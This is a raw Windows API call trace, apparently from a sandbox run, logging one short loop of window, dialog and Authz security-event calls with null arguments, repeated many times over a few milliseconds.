[0025.526] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.526] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.526] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.526] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.526] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.526] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.526] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.526] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.526] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.526] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.526] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.526] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.526] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.526] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.526] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.526] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.526] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.526] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.526] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.526] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.526] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.526] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.526] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.526] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.526] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.526] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.526] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.526] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.526] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.526] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.526] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.527] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.527] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.527] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.527] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.527] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.527] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.527] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.527] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.527] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.527] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.527] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.527] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.527] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.527] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.527] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.527] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.527] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.527] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.527] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.527] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.527] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.527] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.527] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.527] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.527] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.527] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.527] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.527] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.527] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.527] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.527] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.527] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.527] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.527] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.527] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.527] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.527] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.527] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.527] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.527] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.528] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.528] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.528] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.528] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.528] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.528] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.528] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.528] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.528] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.528] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.528] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.528] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.528] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.528] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.528] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.528] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.528] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.528] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.528] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.528] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.528] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.528] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.528] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.528] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.528] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.528] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.528] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.528] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.528] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.528] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.528] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.528] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.528] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.528] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.528] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.528] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.528] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.528] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.528] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.528] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.529] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.529] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.529] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.529] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.529] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.529] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.529] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.529] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.529] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.529] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.529] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.529] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.529] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.529] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.529] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.529] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.529] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.529] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.529] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.529] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.529] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.529] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.529] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.529] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.529] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.529] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.529] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.529] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.529] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.529] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.529] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.529] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.529] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.529] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.529] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.529] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.529] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.529] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.529] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.529] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.529] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.530] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.530] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.530] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.530] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.530] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.530] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.530] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.530] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.530] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.530] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.530] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.530] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.530] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.530] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.530] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.530] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.530] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.530] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.530] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.530] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.530] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.530] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.530] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.530] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.530] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.530] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.530] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.530] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.530] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.530] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.530] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.530] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.530] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.530] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.530] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.530] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.530] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.530] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.530] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.530] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.530] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.531] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.531] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.531] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.531] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.531] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.531] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.531] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.531] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.531] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.531] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.531] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.531] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.531] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.531] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.531] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.531] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.531] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.531] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.531] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.531] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.531] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.531] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.531] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.531] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.531] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.531] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.531] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.531] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.531] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.531] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.531] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.531] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.531] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.531] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.531] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.531] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.532] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.532] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.532] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.532] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.532] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.532] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.532] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.532] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.532] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.532] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.532] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.532] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.532] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.532] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.532] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.532] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.532] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.532] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.532] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.532] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.532] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.532] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.532] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.532] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.532] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.532] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.532] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.532] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.532] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.532] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.532] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.532] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.532] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.533] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.533] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.533] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.533] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.533] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.533] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.533] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.533] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.533] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.533] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.533] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.533] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.533] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.533] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.533] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.533] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.533] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.533] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.533] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.533] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.533] GetDlgItem (hDlg=0x0, 